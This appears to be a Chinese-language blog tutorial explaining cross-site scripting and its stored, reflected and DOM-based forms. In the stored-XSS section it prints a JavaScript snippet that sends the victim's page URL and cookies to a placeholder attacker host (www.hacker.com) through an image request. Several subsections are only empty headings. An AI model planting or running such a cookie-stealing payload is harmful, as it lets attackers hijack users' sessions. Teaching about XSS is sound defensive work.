漏洞-跨站脚本攻击

漏洞-跨站脚本攻击

1.1 简介

XSS :Cross Site Scripting,为不和层叠样式表(Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中 Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。在一开始的时候,这种攻击的演示案例是跨域的,所以叫"跨站脚本"。

攻击原理:XSS的原理是WEB应用程序混淆了用户提交的数据和JS脚本的代码边界,导致 浏览器把用户的输入当成了JS代码来执行。

1.2 XSS攻击

  • 存储型XSS
  • 反射型XSS
  • DOM型XSS

1.2.1存储型XSS

存储型XSS,也就是持久型XSS。攻击者上传的包含恶意JS脚本的信息被 Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含 了该恶意JS脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这 种攻击类型一般常见在博客、论坛等网站中

存储型是最危险的一种跨站脚本,比反射性XSS和Dom型XSS都更有隐蔽性。

因为它不需要用户手动触发,任何允许用户存储数据的web程序都可能存 在存储型XSS漏洞。

若某个页面遭受存储型XSS攻击,所有访问该页面的用户会被XSS攻击。

image-20211219234426578

攻击步骤:

  • 攻击者把恶意代码提交到目标网站的数据库中
  • 用户打开目标网站,网站服务端把恶意代码从数据库中取出,拼接在HTML上返回给用户
  • 用户浏览器接收到响应解析执行,混在其中的恶意代码也被执行
  • 恶意代码窃取用户敏感数据发送给攻击者,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

存储型 XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能,如 论坛发帖、商品评论、用户私信、留言等功能。

  • 简单攻击:

  • 获取cookie信息:

  • 黑客窃取cookie: 用户窃取cookie,具体实现就是将用户的cookie值发送到黑客工具箱,那 么就需要将窃取用户cookie的js植入到系统中。考虑到窃取用户的js脚本过长不 宜直接编写脚本植入,可以通过外部脚本的方式实现

  • 绕过浏览器同源策略:

    图片可以加载外部的数据源

    (function () {
    (new Image()).src = 'http://www.hacker.com/h?c=' +

    escape("url=" + document.location.href) +
    escape('&cookie=' + document.cookie);

    })();

1.2.2 反射型XSS

反射型XSS,又称非持久型XSS,恶意代码并没有保存在目标网站,而是通 过引诱用户点击一个恶意链接来实施攻击。这类恶意链接有哪些特征呢?

主要有:

  • 恶意脚本附加到 url 中,只有点击此链接才会引起攻击
  • 不具备持久性,即只要不通过这个特定 url 访问,就不会有问题
  • xss漏洞一般发生于与用户交互的地方

脚本入侵

获取cookie

构造DOM

1.2.3 DOM型XSS

DOM(Document Object Model),DOM型XSS其实是一种特殊类型的反 射型XSS(不存储),它是基于DOM文档对象模型的一种漏洞,而且不需要与 服务器进行交互(不处理)。

客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中 的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用

你可能感兴趣的:(漏洞-跨站脚本攻击)